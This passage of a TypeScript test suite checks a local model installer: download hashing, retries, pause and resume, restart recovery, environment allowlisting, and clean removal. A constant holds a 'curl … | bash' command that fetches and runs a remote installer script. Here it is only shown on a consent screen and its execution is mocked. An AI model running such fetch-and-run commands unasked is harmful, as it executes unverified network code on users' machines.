* Port: the fake runtime binds port 0 twice; the routes use app.inject().
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { existsSync, mkdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs';
|
||||
import { rm } from 'node:fs/promises';
|
||||
import { dirname } from 'node:path';
|
||||
import { createRouteTestHarness } from './routes/_route-test-utils.js';
|
||||
import {
|
||||
createFakeOllama,
|
||||
freeLoopbackPort,
|
||||
MACBOOK_MEASURED_TOTAL_BYTES,
|
||||
startFakeOllama,
|
||||
type FakeOllama,
|
||||
} from './fixtures/fake-ollama.js';
|
||||
import { dataPath, getDataDir } from '../src/config/instance.js';
|
||||
import { customModelHostsPath, readCustomModelHosts } from '../src/custom-model-hosts.js';
|
||||
import { createLocalModelService, type LocalModelService } from '../src/local-model/install-job.js';
|
||||
import { memClassGb, formatGb } from '../src/local-model/format.js';
|
||||
import { pullModel, PULL_RETRIES } from '../src/local-model/ollama-client.js';
|
||||
import { localModelPaths, type LocalModelPaths } from '../src/local-model/paths.js';
|
||||
import {
|
||||
createRuntimeSupervisor,
|
||||
ensureRuntimeInstalled,
|
||||
type RuntimeSupervisorDeps,
|
||||
} from '../src/local-model/runtime.js';
|
||||
import { readLocalModelState } from '../src/local-model/state-store.js';
|
||||
import { registerLocalModelRoutes } from '../src/web/routes/local-model-routes.js';
|
||||
import { SETTINGS_PATH } from '../src/web/route-helpers.js';
|
||||
import type { Candidate, HardwareFacts, HarnessFact, LocalModelInstallView, LocalModelStatus } from '../src/types.js';
|
||||
|
||||
const INSTALL_COMMAND = 'curl -fsSL https://opencode.ai/install | bash';
|
||||
|
||||
/** The owner's MacBook, from its sysctl capture of 2026-11-06. */
|
||||
const MACBOOK: HardwareFacts = {
|
||||
platform: 'darwin',
|
||||
arch: 'arm64',
|
||||
arm64: true,
|
||||
translated: false,
|
||||
memBytes: 51539607552,
|
||||
memGb: formatGb(51539607552),
|
||||
memClassGb: memClassGb(51539607552),
|
||||
chip: 'Apple M5 Pro',
|
||||
model: 'Mac17,13',
|
||||
macosVersion: '27.2',
|
||||
macosMajor: 27,
|
||||
wiredLimitMb: 0,
|
||||
freeDiskBytes: 912308310016,
|
||||
freeDiskGb: formatGb(912308310016),
|
||||
source: 'sysctl',
|
||||
};
|
||||
|
||||
interface World {
|
||||
archive: FakeOllama;
|
||||
runtime: FakeOllama | undefined;
|
||||
port: number;
|
||||
paths: LocalModelPaths;
|
||||
agentInstalled: boolean;
|
||||
installerRuns: number;
|
||||
/** How many of the next archive downloads arrive with one byte changed (the size stays the pinned one). */
|
||||
damagedDownloads: number;
|
||||
/** The server that is up. A restart replaces it. */
|
||||
service: LocalModelService;
|
||||
/** Every server of the test, for the clean-up. */
|
||||
services: LocalModelService[];
|
||||
sessions: Map<string, { name: string; customModel?: { endpointId: string } }>;
|
||||
}
|
||||
|
||||
let world: World;
|
||||
|
||||
const HOSTS = () => customModelHostsPath(getDataDir());
|
||||
const STATE = () => dataPath('local-model.json');
|
||||
|
||||
const harnessFacts = async (): Promise<HarnessFact[]> => [
|
||||
{
|
||||
cli: 'opencode',
|
||||
label: 'OpenCode',
|
||||
installed: world.agentInstalled,
|
||||
installable: !world.agentInstalled,
|
||||
...(world.agentInstalled ? {} : { installCommand: INSTALL_COMMAND }),
|
||||
acceptsModelId: () => true,
|
||||
},
|
||||
];
|
||||
|
||||
/**
|
||||
* The download of the runtime archive: the real `fetch` against the fake's archive. While
|
||||
* `world.damagedDownloads` is above 0 the body arrives with its last byte changed, as a
|
||||
* download damaged on the way does: the size is still the pinned one, only the hash can tell.
|
||||
*/
|
||||
const archiveFetch: typeof fetch = async (input, init) => {
|
||||
const res = await fetch(input, init);
|
||||
if (world.damagedDownloads <= 0 || !res.ok) return res;
|
||||
world.damagedDownloads -= 1;
|
||||
const body = Buffer.from(await res.arrayBuffer());
|
||||
body[body.length - 1] ^= 0xff;
|
||||
return new Response(body, { status: res.status, headers: { 'content-length': String(body.length) } });
|
||||
};
|
||||
|
||||
/**
|
||||
* One Codeman server as far as this feature goes: an install service with its own runtime
|
||||
* supervisor, over the data dir, the pin and the port of the test. It becomes `world.service`,
|
||||
* which is the one the routes ask.
|
||||
*/
|
||||
function startServer(processes: Partial<Pick<RuntimeSupervisorDeps, 'commandOfPid' | 'kill'>> = {}): LocalModelService {
|
||||
const pin = world.archive.pin();
|
||||
const { paths, port } = world;
|
||||
const supervisor = createRuntimeSupervisor({
|
||||
// "Starting the runtime" makes the second fake listen on the port it was given.
|
||||
spawn: (command, args, options) => {
|
||||
if (!world.runtime) throw new Error('The test did not prepare a runtime');
|
||||
return world.runtime.spawn(command, args, options);
|
||||
},
|
||||
fetch,
|
||||
env: { PATH: process.env.PATH, CODEMAN_PASSWORD: 'must-not-reach-the-runtime', OLLAMA_ORIGINS: '*' },
|
||||
commandOfPid: async () => undefined,
|
||||
kill: () => {},
|
||||
...processes,
|
||||
sleep: async () => {},
|
||||
pin,
|
||||
paths,
|
||||
onChange: (status) => service.onRuntimeChange(status),
|
||||
});
|
||||
const service: LocalModelService = createLocalModelService({
|
||||
readHardware: async () => MACBOOK,
|
||||
buildHarnessFacts: harnessFacts,
|
||||
pin,
|
||||
paths,
|
||||
// The real download and unpack, told where the network is: the fake's archive.
|
||||
ensureRuntimeInstalled: (options) =>
|
||||
ensureRuntimeInstalled({ ...options, deps: { fetch: archiveFetch, sleep: async () => {} } }),
|
||||
// The real pull with its real retries, without the seconds between them.
|
||||
pullModel: (target, modelId, options) => pullModel(target, modelId, { ...options, sleep: async () => {} }),
|
||||
chooseRuntimePort: async () => port,
|
||||
supervisor,
|
||||
recheckCliInstalled: async () => world.agentInstalled,
|
||||
tryBeginCliInstall: () => () => {},
|
||||
runInstallCommand: async () => {
|
||||
world.installerRuns++;
|
||||
world.agentInstalled = true;
|
||||
return { code: 0, output: 'opencode installed\n', timedOut: false, aborted: false };
|
||||
},
|
||||
audit: async () => {},
|
||||
checkDeveloperTools: async () => 'missing',
|
||||
});
|
||||
world.service = service;
|
||||
world.services.push(service);
|
||||
return service;
|
||||
}
|
||||
|
||||
beforeEach(async () => {
|
||||
const archive = await startFakeOllama();
|
||||
world = {
|
||||
archive,
|
||||
runtime: undefined,
|
||||
port: await freeLoopbackPort(),
|
||||
paths: localModelPaths('0.40.15'),
|
||||
agentInstalled: false,
|
||||
installerRuns: 0,
|
||||
damagedDownloads: 0,
|
||||
service: undefined as unknown as LocalModelService,
|
||||
services: [],
|
||||
sessions: new Map(),
|
||||
};
|
||||
startServer();
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
for (const service of world.services) await service.shutdown();
|
||||
await world.archive.close();
|
||||
await world.runtime?.close();
|
||||
await rm(world.paths.root, { recursive: true, force: true });
|
||||
rmSync(STATE(), { force: true });
|
||||
rmSync(HOSTS(), { force: true });
|
||||
rmSync(SETTINGS_PATH, { force: true });
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
async function routes() {
|
||||
const { app } = await createRouteTestHarness((instance) =>
|
||||
registerLocalModelRoutes(
|
||||
instance,
|
||||
{ sessions: world.sessions },
|
||||
{ readHardware: async () => MACBOOK, buildHarnessFacts: harnessFacts, service: () => world.service }
|
||||
)
|
||||
);
|
||||
const get = async (): Promise<LocalModelStatus> =>
|
||||
(await app.inject({ method: 'GET', url: '/api/local-model' })).json().data;
|
||||
/** Polls the GET the way the window does, until the job is no longer running. */
|
||||
const settled = async (): Promise<LocalModelInstallView> => {
|
||||
let install = (await get()).install;
|
||||
await vi.waitFor(
|
||||
async () => {
|
||||
install = (await get()).install;
|
||||
expect(install.state).not.toBe('installing');
|
||||
},
|
||||
{ timeout: 20_000, interval: 25 }
|
||||
);
|
||||
return install;
|
||||
};
|
||||
/** The click on "Download and install" for the row the server recommends, with the size it showed. */
|
||||
const install = (pick: Candidate) =>
|
||||
app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/local-model/install',
|
||||
payload: { modelId: pick.modelId, cli: 'opencode', context: pick.context, acknowledgedBytes: pick.installBytes },
|
||||
});
|
||||
/** Polls until the model download is under way and has moved. */
|
||||
const pulling = async (): Promise<void> => {
|
||||
await vi.waitFor(
|
||||
async () => {
|
||||
const status = await get();
|
||||
expect(status.install.step).toBe('model');
|
||||
expect(status.install.progress?.completedBytes ?? 0).toBeGreaterThan(0);
|
||||
},
|
||||
{ timeout: 20_000, interval: 20 }
|
||||
);
|
||||
};
|
||||
return { app, get, settled, install, pulling };
|
||||
}
|
||||
|
||||
/** The runtime the supervisor will "start": it has exactly the model the server recommended. */
|
||||
function prepareRuntime(pick: Candidate): FakeOllama {
|
||||
world.runtime = createFakeOllama({
|
||||
model: { id: pick.modelId, bytes: pick.downloadBytes },
|
||||
contextLength: pick.context,
|
||||
});
|
||||
return world.runtime;
|
||||
}
|
||||
|
||||
/** A model download that takes a while: 400 lines, 5 ms apart. */
|
||||
function slowPull(runtime: FakeOllama): void {
|
||||
runtime.switches.pull.progressLines = 400;
|
||||
runtime.switches.pull.lineDelayMs = 5;
|
||||
}
|
||||
|
||||
function quickPull(runtime: FakeOllama): void {
|
||||
runtime.switches.pull.progressLines = 20;
|
||||
runtime.switches.pull.lineDelayMs = 0;
|
||||
}
|
||||
|
||||
describe('the install from the first GET to Remove, real modules over a fake runtime', () => {
|
||||
it('recommends for the MacBook, installs what was confirmed, connects it, refuses a changed model, and removes all of it', async () => {
|
||||
mkdirSync(dirname(SETTINGS_PATH), { recursive: true });
|
||||
writeFileSync(SETTINGS_PATH, JSON.stringify({ tmuxHistoryLimit: 5000 }));
|
||||
const { app, get, settled, install: clickInstall } = await routes();
|
||||
|
||||
// ---- The chooser: what the window shows before anything is installed ----
|
||||
const before = await get();
|
||||
expect(before.install).toMatchObject({
|
||||
state: 'idle',
|
||||
running: false,
|
||||
developerTools: 'missing',
|
||||
actions: ['install'],
|
||||
folder: world.paths.root,
|
||||
runtime: { version: '0.40.15', installed: false, downloadBytes: world.archive.archive.size },
|
||||
});
|
||||
expect(before.recommendation.verdict).toBe('ok');
|
||||
expect(before.recommendation.budgetSource).toBe('estimated');
|
||||
const pick = before.recommendation.pick!;
|
||||
expect(pick).toBeDefined();
|
||||
// The MacBook's row: the one model that was run on a Mac like it, with its measured speed.
|
||||
expect(pick).toMatchObject({
|
||||
modelId: 'qwen3.6:35b-a3b',
|
||||
context: 131072,
|
||||
fit: 'tight',
|
||||
needSource: 'measured',
|
||||
tested: true,
|
||||
tag: { kind: 'tested' },
|
||||
});
|
||||
// The row carries the coding agent and the literal command the consent screen prints.
|
||||
expect(pick.harnesses[0]).toMatchObject({
|
||||
cli: 'opencode',
|
||||
cliLabel: 'OpenCode',
|
||||
installed: false,
|
||||
installCommand: INSTALL_COMMAND,
|
||||
});
|
||||
// The server's own total: the model plus the runtime archive that is still to download.
|
||||
expect(pick.installBytes).toBe(pick.downloadBytes + world.archive.archive.size);
|
||||
expect(pick.installGb).toBe(formatGb(pick.installBytes));
|
||||
const runtime = prepareRuntime(pick);
|
||||
|
||||
// ---- Consent is bound to the size shown ----
|
||||
const stale = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/local-model/install',
|
||||
payload: { modelId: pick.modelId, cli: 'opencode', context: pick.context, acknowledgedBytes: pick.downloadBytes },
|
||||
});
|
||||
expect(stale.statusCode).toBe(409);
|
||||
expect(stale.json().data).toMatchObject({ reason: 'size-changed', expectedBytes: pick.installBytes });
|
||||
expect(world.archive.state.archiveRequests).toBe(0);
|
||||
|
||||
// ---- Install ----
|
||||
const started = await clickInstall(pick);
|
||||
expect(started.statusCode).toBe(200);
|
||||
expect(started.json().data).toMatchObject({
|
||||
state: 'installing',
|
||||
steps: ['runtime', 'model', 'verify', 'agent', 'connect'],
|
||||
model: { id: pick.modelId, label: pick.modelLabel },
|
||||
cli: 'opencode',
|
||||
context: pick.context,
|
||||
actions: ['cancel'],
|
||||
});
|
||||
// One job at a time.
|
||||
const second = await clickInstall(pick);
|
||||
expect(second.statusCode).toBe(409);
|
||||
expect(second.json().data).toMatchObject({ reason: 'job-running' });
|
||||
|
||||
const install = await settled();
|
||||
expect(install.error).toBeUndefined();
|
||||
expect(install).toMatchObject({
|
||||
state: 'installed',
|
||||
running: true,
|
||||
port: world.port,
|
||||
model: { id: pick.modelId, label: pick.modelLabel },
|
||||
cli: 'opencode',
|
||||
cliLabel: 'OpenCode',
|
||||
context: pick.context,
|
||||
endpointId: 'local-ollama',
|
||||
folder: world.paths.root,
|
||||
loaded: { context: pick.context, onGpu: true },
|
||||
actions: ['start-session', 'stop', 'remove'],
|
||||
runtime: { installed: true, downloadBytes: 0, downloadGb: formatGb(0) },
|
||||
});
|
||||
|
||||
// ---- What really happened ----
|
||||
// The runtime was downloaded once, unpacked, and "started" with the allowlisted environment.
|
||||
expect(world.archive.state.archiveRequests).toBe(1);
|
||||
expect(existsSync(world.paths.binary)).toBe(true);
|
||||
expect(existsSync(world.paths.archivePartial)).toBe(false);
|
||||
expect(runtime.state.children).toHaveLength(1);
|
||||
const env = runtime.state.children[0].env;
|
||||
expect(env.OLLAMA_HOST).toBe(`127.0.0.1:${world.port}`);
|
||||
expect(env.OLLAMA_CONTEXT_LENGTH).toBe(String(pick.context));
|
||||
expect(env.HOME).toBe(world.paths.homeDir);
|
||||
expect(env.OLLAMA_MODELS).toBe(world.paths.modelsDir);
|
||||
expect(Object.keys(env).filter((key) => key.startsWith('CODEMAN_'))).toEqual([]);
|
||||
expect(env).not.toHaveProperty('OLLAMA_ORIGINS');
|
||||
// One pull, one coding agent install.
|
||||
expect(runtime.state.pulls).toBe(1);
|
||||
expect(world.installerRuns).toBe(1);
|
||||
|
||||
// The state file: the measured budget, the pull's own total, the digest.
|
||||
const state = await readLocalModelState();
|
||||
expect(state).toMatchObject({
|
||||
state: 'installed',
|
||||
model: { id: pick.modelId, context: pick.context, pullBytes: runtime.model.bytes, digest: runtime.model.digest },
|
||||
runtime: {
|
||||
version: '0.40.15',
|
||||
port: world.port,
|
||||
enabled: true,
|
||||
measuredTotalBytes: MACBOOK_MEASURED_TOTAL_BYTES,
|
||||
},
|
||||
connection: { endpointId: 'local-ollama', flagWasEnabled: false },
|
||||
});
|
||||
expect(JSON.stringify(state)).not.toContain(getDataDir());
|
||||
|
||||
// The two writes outside the folder, and nothing else changed there.
|
||||
expect(await readCustomModelHosts(getDataDir())).toEqual([
|
||||
{
|
||||
id: 'local-ollama',
|
||||
label: 'This Mac',
|
||||
baseUrl: `http://127.0.0.1:${world.port}`,
|
||||
authStyle: 'bearer',
|
||||
models: [pick.modelId],
|
||||
defaultModelId: pick.modelId,
|
||||
defaultContextLength: pick.context,
|
||||
},
|
||||
]);
|
||||
expect(JSON.parse(readFileSync(SETTINGS_PATH, 'utf8'))).toEqual({
|
||||
tmuxHistoryLimit: 5000,
|
||||
customModelEndpointsEnabled: true,
|
||||
});
|
||||
|
||||
// From now on the budget of the GET is the measured one.
|
||||
const after = await get();
|
||||
expect(after.recommendation.budgetSource).toBe('measured');
|
||||
expect(after.recommendation.budgetBytes).toBeLessThanOrEqual(MACBOOK_MEASURED_TOTAL_BYTES);
|
||||
|
||||
// ---- A session may start, until the model changes under its name ----
|
||||
expect(await world.service.launchRefusalMessage('local-ollama', pick.modelId)).toBeUndefined();
|
||||
runtime.model.digest = 'f'.repeat(64);
|
||||
expect(await world.service.launchRefusalMessage('local-ollama', pick.modelId)).toBe(
|
||||
'The model on this Mac changed since it was installed. Remove it and install it again.'
|
||||
);
|
||||
expect((await get()).install).toMatchObject({
|
||||
state: 'installed',
|
||||
error: { code: 'model-changed', next: 'remove' },
|
||||
});
|
||||
|
||||
// ---- Remove ----
|
||||
world.sessions.set('s1', { name: 'w1-app', customModel: { endpointId: 'local-ollama' } });
|
||||
const refused = await app.inject({ method: 'DELETE', url: '/api/local-model', payload: { removeModel: true } });
|
||||
expect(refused.statusCode).toBe(409);
|
||||
expect(refused.json().data).toMatchObject({ reason: 'sessions-open', sessions: ['w1-app'] });
|
||||
expect(existsSync(world.paths.binary)).toBe(true);
|
||||
|
||||
world.sessions.clear();
|
||||
const removed = await app.inject({ method: 'DELETE', url: '/api/local-model', payload: { removeModel: true } });
|
||||
expect(removed.statusCode).toBe(200);
|
||||
expect(removed.json().data).toMatchObject({ state: 'idle', running: false, actions: ['install'] });
|
||||
// The child was stopped and the whole folder is gone: the runtime, the private home, the models.
|
||||
expect(runtime.state.children[0].signals).toContain('SIGTERM');
|
||||
expect(runtime.listening).toBe(false);
|
||||
expect(existsSync(world.paths.root)).toBe(false);
|
||||
// Our record is gone, and the flag this feature switched on is off again.
|
||||
expect(await readCustomModelHosts(getDataDir())).toEqual([]);
|
||||
expect(JSON.parse(readFileSync(SETTINGS_PATH, 'utf8'))).toEqual({
|
||||
tmuxHistoryLimit: 5000,
|
||||
customModelEndpointsEnabled: false,
|
||||
});
|
||||
expect((await readLocalModelState()).state).toBe('idle');
|
||||
// The chooser is back, with the runtime download in the total again.
|
||||
const again = await get();
|
||||
expect(again.install.runtime).toMatchObject({ installed: false, downloadBytes: world.archive.archive.size });
|
||||
expect(again.recommendation.pick?.installBytes).toBe(pick.installBytes);
|
||||
}, 60_000);
|
||||
|
||||
it('a runtime download that arrives damaged is deleted before anything is unpacked, and Try again gets it', async () => {
|
||||
const { get, settled, install: clickInstall, app } = await routes();
|
||||
const pick = (await get()).recommendation.pick!;
|
||||
const runtime = prepareRuntime(pick);
|
||||
world.damagedDownloads = 1;
|
||||
|
||||
await clickInstall(pick);
|
||||
const failed = await settled();
|
||||
expect(failed).toMatchObject({
|
||||
state: 'failed',
|
||||
step: 'runtime',
|
||||
error: { code: 'runtime-damaged', next: 'retry' },
|
||||
actions: ['resume', 'install', 'remove'],
|
||||
runtime: { installed: false },
|
||||
});
|
||||
expect(failed.error?.detail).toContain(world.archive.archive.sha256);
|
||||
// The hash was compared first: the file is gone, nothing was unpacked, nothing was started.
|
||||
expect(world.archive.state.archiveRequests).toBe(1);
|
||||
expect(existsSync(world.paths.archivePartial)).toBe(false);
|
||||
expect(existsSync(world.paths.unpackDir)).toBe(false);
|
||||
expect(existsSync(world.paths.runtimeDir)).toBe(false);
|
||||
expect(runtime.state.children).toHaveLength(0);
|
||||
expect(runtime.state.pulls).toBe(0);
|
||||
|
||||
// "Try again" downloads the archive again, and this time it is the pinned one.
|
||||
const resumed = await app.inject({ method: 'POST', url: '/api/local-model/resume', payload: {} });
|
||||
expect(resumed.statusCode).toBe(200);
|
||||
expect((await settled()).state).toBe('installed');
|
||||
expect(world.archive.state.archiveRequests).toBe(2);
|
||||
expect(existsSync(world.paths.binary)).toBe(true);
|
||||
expect(runtime.state.children).toHaveLength(1);
|
||||
}, 60_000);
|
||||
|
||||
it('a model download that fails twice is asked again and finishes; Remove leaves another saved endpoint and the models', async () => {
|
||||
writeFileSync(HOSTS(), JSON.stringify([{ id: 'office', label: 'Office', baseUrl: 'http://192.168.1.50:8080' }]));
|
||||
const { app, get, settled, install: clickInstall } = await routes();
|
||||
const pick = (await get()).recommendation.pick!;
|
||||
const runtime = prepareRuntime(pick);
|
||||
// The real error line of a pull whose download kept failing, on the first two pulls.
|
||||
runtime.switches.pull.fail = 'error-line';
|
||||
runtime.switches.pull.failTimes = 2;
|
||||
|
||||
await clickInstall(pick);
|
||||
const install = await settled();
|
||||
expect(install.error).toBeUndefined();
|
||||
expect(install.state).toBe('installed');
|
||||
expect(runtime.state.pulls).toBe(3);
|
||||
// The size of the model is the pull's own total.
|
||||
expect((await readLocalModelState()).model?.pullBytes).toBe(runtime.model.bytes);
|
||||
expect(await readCustomModelHosts(getDataDir())).toMatchObject([{ id: 'office' }, { id: 'local-ollama' }]);
|
||||
|
||||
// Remove without the box: the model store stays for a later install.
|
||||
const removed = await app.inject({ method: 'DELETE', url: '/api/local-model', payload: { removeModel: false } });
|
||||
expect(removed.json().data.state).toBe('idle');
|
||||
expect(existsSync(world.paths.runtimeRoot)).toBe(false);
|
||||
expect(existsSync(world.paths.homeDir)).toBe(false);
|
||||
expect(existsSync(world.paths.modelsDir)).toBe(true);
|
||||
// The other endpoint stays, and so does the flag it needs, although this feature switched it on.
|
||||
expect(await readCustomModelHosts(getDataDir())).toEqual([
|
||||
{ id: 'office', label: 'Office', baseUrl: 'http://192.168.1.50:8080' },
|
||||
]);
|
||||
expect(JSON.parse(readFileSync(SETTINGS_PATH, 'utf8')).customModelEndpointsEnabled).toBe(true);
|
||||
}, 60_000);
|
||||
|
||||
it('a model download that keeps failing ends failed after its retries, and Try again continues it', async () => {
|
||||
const { app, get, settled, install: clickInstall } = await routes();
|
||||
const pick = (await get()).recommendation.pick!;
|
||||
const runtime = prepareRuntime(pick);
|
||||
runtime.switches.pull.fail = 'error-line';
|
||||
|
||||
await clickInstall(pick);
|
||||
const failed = await settled();
|
||||
expect(failed).toMatchObject({
|
||||
state: 'failed',
|
||||
step: 'model',
|
||||
error: { code: 'pull-failed', next: 'retry', detail: 'max retries exceeded: local error: tls: bad record MAC' },
|
||||
actions: ['resume', 'install', 'remove'],
|
||||
});
|
||||
// The first pull and every retry, and no more.
|
||||
expect(runtime.state.pulls).toBe(1 + PULL_RETRIES);
|
||||
// The download as it stood, in the pull's own figures.
|
||||
expect(failed.progress?.totalBytes).toBe(runtime.model.bytes);
|
||||
expect(failed.progress?.completedBytes).toBeGreaterThan(0);
|
||||
expect(failed.progress?.completedBytes).toBeLessThan(runtime.model.bytes);
|
||||
// Nothing was checked, installed or connected.
|
||||
expect(runtime.state.installed).toBe(false);
|
||||
expect(world.installerRuns).toBe(0);
|
||||
expect(existsSync(HOSTS())).toBe(false);
|
||||
expect(existsSync(SETTINGS_PATH)).toBe(false);
|
||||
|
||||
// The network is fine again: "Try again" enters the same step.
|
||||
runtime.switches.pull.fail = 'none';
|
||||
const resumed = await app.inject({ method: 'POST', url: '/api/local-model/resume', payload: {} });
|
||||
expect(resumed.json().data).toMatchObject({ state: 'installing', step: 'model' });
|
||||
expect((await settled()).state).toBe('installed');
|
||||
expect(runtime.state.pulls).toBe(2 + PULL_RETRIES);
|
||||
// The runtime was neither downloaded nor started a second time.
|
||||
expect(world.archive.state.archiveRequests).toBe(1);
|
||||
expect(runtime.state.children).toHaveLength(1);
|
||||
}, 60_000);
|
||||
|
||||
it('a model that does not call a tool ends failed with the next model to try, and Remove cleans up', async () => {
|
||||
const { app, get, settled, install: clickInstall } = await routes();
|
||||
const pick = (await get()).recommendation.pick!;
|
||||
const runtime = prepareRuntime(pick);
|
||||
runtime.switches.tool = 'none';
|
||||
|
||||
await clickInstall(pick);
|
||||
const install = await settled();
|
||||
expect(install).toMatchObject({
|
||||
state: 'failed',
|
||||
step: 'verify',
|
||||
error: { code: 'no-tool-call', next: 'next-model', message: { vars: { model: pick.modelLabel } } },
|
||||
actions: ['resume', 'install', 'remove'],
|
||||
});
|
||||
// The model to try next is a row of the list the window has.
|
||||
const offered = (await get()).recommendation;
|
||||
expect(install.error?.nextModel?.modelId).not.toBe(pick.modelId);
|
||||
expect(offered.alternatives.map((row) => row.modelId)).toContain(install.error?.nextModel?.modelId);
|
||||
// The coding agent was not installed and nothing was connected.
|
||||
expect(world.installerRuns).toBe(0);
|
||||
expect(existsSync(HOSTS())).toBe(false);
|
||||
expect(existsSync(SETTINGS_PATH)).toBe(false);
|
||||
|
||||
// "Try again" with a model that now calls the tool finishes the same job.
|
||||
runtime.switches.tool = 'call';
|
||||
const resumed = await app.inject({ method: 'POST', url: '/api/local-model/resume', payload: {} });
|
||||
expect(resumed.statusCode).toBe(200);
|
||||
expect((await settled()).state).toBe('installed');
|
||||
// The runtime was not downloaded again and the model was not pulled again.
|
||||
expect(world.archive.state.archiveRequests).toBe(1);
|
||||
expect(runtime.state.pulls).toBe(1);
|
||||
|
||||
const removed = await app.inject({ method: 'DELETE', url: '/api/local-model' });
|
||||
expect(removed.json().data.state).toBe('idle');
|
||||
// This feature switched the flag on and no other endpoint is saved: it is off again.
|
||||
expect(JSON.parse(readFileSync(SETTINGS_PATH, 'utf8')).customModelEndpointsEnabled).toBe(false);
|
||||
// The model was not asked to go: the store stays for a later install.
|
||||
expect(existsSync(world.paths.runtimeDir)).toBe(false);
|
||||
expect(existsSync(world.paths.modelsDir)).toBe(true);
|
||||
}, 60_000);
|
||||
|
||||
it('Cancel during the model download pauses the job, nothing goes on by itself, and Continue finishes it', async () => {
|
||||
const { app, get, settled, install: clickInstall, pulling } = await routes();
|
||||
const pick = (await get()).recommendation.pick!;
|
||||
const runtime = prepareRuntime(pick);
|
||||
slowPull(runtime);
|
||||
|
||||
await clickInstall(pick);
|
||||
// The window sees the model download move.
|
||||
await pulling();
|
||||
expect((await get()).install).toMatchObject({ state: 'installing', step: 'model' });
|
||||
|
||||
const cancelled = await app.inject({ method: 'POST', url: '/api/local-model/cancel' });
|
||||
expect(cancelled.statusCode).toBe(200);
|
||||
const paused = cancelled.json().data as LocalModelInstallView;
|
||||
expect(paused).toMatchObject({ state: 'paused', step: 'model', actions: ['resume', 'install', 'remove'] });
|
||||
// The bytes as they stood, and the pull's own total.
|
||||
expect(paused.progress?.totalBytes).toBe(runtime.model.bytes);
|
||||
expect(paused.progress?.completedBytes).toBeLessThan(runtime.model.bytes);
|
||||
expect(paused.progress).not.toHaveProperty('bytesPerSecond');
|
||||
expect(runtime.state.installed).toBe(false);
|
||||
|
||||
// Nothing goes on by itself.
|
||||
const pullsAfterCancel = runtime.state.pulls;
|
||||
await new Promise((resolve) => setTimeout(resolve, 100));
|
||||
expect(runtime.state.pulls).toBe(pullsAfterCancel);
|
||||
expect((await get()).install.state).toBe('paused');
|
||||
|
||||
quickPull(runtime);
|
||||
const resumed = await app.inject({ method: 'POST', url: '/api/local-model/resume' });
|
||||
expect(resumed.json().data.state).toBe('installing');
|
||||
expect((await settled()).state).toBe('installed');
|
||||
expect(runtime.state.pulls).toBe(pullsAfterCancel + 1);
|
||||
}, 60_000);
|
||||
|
||||
it('a server restart during the model download comes back paused, waits for a click, and Continue finishes it', async () => {
|
||||
const { app, get, settled, install: clickInstall, pulling } = await routes();
|
||||
const pick = (await get()).recommendation.pick!;
|
||||
const runtime = prepareRuntime(pick);
|
||||
slowPull(runtime);
|
||||
|
||||
await clickInstall(pick);
|
||||
await pulling();
|
||||
|
||||
// ---- The server stops ----
|
||||
const first = world.service;
|
||||
await first.shutdown();
|
||||
// The runtime child was signalled and no longer listens; the download stopped with it.
|
||||
expect(runtime.state.children).toHaveLength(1);
|
||||
expect(runtime.state.children[0].signals).toContain('SIGTERM');
|
||||
expect(runtime.listening).toBe(false);
|
||||
expect(runtime.state.installed).toBe(false);
|
||||
// Stopping writes nothing: the file still says what the job was doing.
|
||||
expect(await readLocalModelState()).toMatchObject({ state: 'installing', step: 'model' });
|
||||
const pullsBefore = runtime.state.pulls;
|
||||
|
||||
// ---- A new server starts over the same data dir ----
|
||||
const second = startServer();
|
||||
expect(second).not.toBe(first);
|
||||
await second.boot();
|
||||
const paused = (await get()).install;
|
||||
expect(paused).toMatchObject({
|
||||
state: 'paused',
|
||||
step: 'model',
|
||||
steps: ['runtime', 'model', 'verify', 'agent', 'connect'],
|
||||
model: { id: pick.modelId, label: pick.modelLabel },
|
||||
cli: 'opencode',
|
||||
context: pick.context,
|
||||
port: world.port,
|
||||
running: false,
|
||||
runtime: { installed: true, downloadBytes: 0 },
|
||||
actions: ['resume', 'install', 'remove'],
|
||||
});
|
||||
expect(paused.error).toBeUndefined();
|
||||
expect(await readLocalModelState()).toMatchObject({ state: 'paused', step: 'model' });
|
||||
|
||||
// It never continues without a click: no runtime is started, nothing is pulled.
|
||||
await new Promise((resolve) => setTimeout(resolve, 150));
|
||||
expect(runtime.state.children).toHaveLength(1);
|
||||
expect(runtime.state.pulls).toBe(pullsBefore);
|
||||
expect((await get()).install.state).toBe('paused');
|
||||
|
||||
// ---- Continue ----
|
||||
quickPull(runtime);
|
||||
const resumed = await app.inject({ method: 'POST', url: '/api/local-model/resume', payload: {} });
|
||||
expect(resumed.statusCode).toBe(200);
|
||||
expect(resumed.json().data.state).toBe('installing');
|
||||
const install = await settled();
|
||||
expect(install.error).toBeUndefined();
|
||||
expect(install).toMatchObject({ state: 'installed', running: true, endpointId: 'local-ollama' });
|
||||
// The new server started the runtime itself and pulled once more; the archive was not fetched again.
|
||||
expect(runtime.state.children).toHaveLength(2);
|
||||
expect(runtime.state.pulls).toBe(pullsBefore + 1);
|
||||
expect(world.archive.state.archiveRequests).toBe(1);
|
||||
expect(world.installerRuns).toBe(1);
|
||||
expect(await readCustomModelHosts(getDataDir())).toMatchObject([{ id: 'local-ollama', models: [pick.modelId] }]);
|
||||
}, 60_000);
|
||||
});
|
||||
|
||||
describe('a server that is killed leaves its runtime running: the next server never deletes under it', () => {
|
||||
/**
|
||||
* Installs up to the model download, then "kills" the server: its job stops and it signals
|
||||
* nothing, as a process that got SIGKILL does. Its runtime child goes on listening. Answers
|
||||
* what the next server needs to find that process: `ps` and `kill` over the fake child.
|
||||
*/
|
||||
async function killedDuringTheDownload() {
|
||||
const api = await routes();
|
||||
const pick = (await api.get()).recommendation.pick!;
|
||||
const runtime = prepareRuntime(pick);
|
||||
slowPull(runtime);
|
||||
await api.install(pick);
|
||||
await api.pulling();
|
||||
|
||||
const child = runtime.state.children[0];
|
||||
const signal = child.kill.bind(child);
|
||||
// A killed server sends its child nothing.
|
||||
child.kill = () => false;
|
||||
await world.service.shutdown();
|
||||
expect(runtime.listening).toBe(true);
|
||||
// The pid was stored the moment the child was spawned.
|
||||
expect((await readLocalModelState()).runtime?.pid).toBe(child.pid);
|
||||
|
||||
const signals: Array<{ pid: number; signal: string; folderThere: boolean }> = [];
|
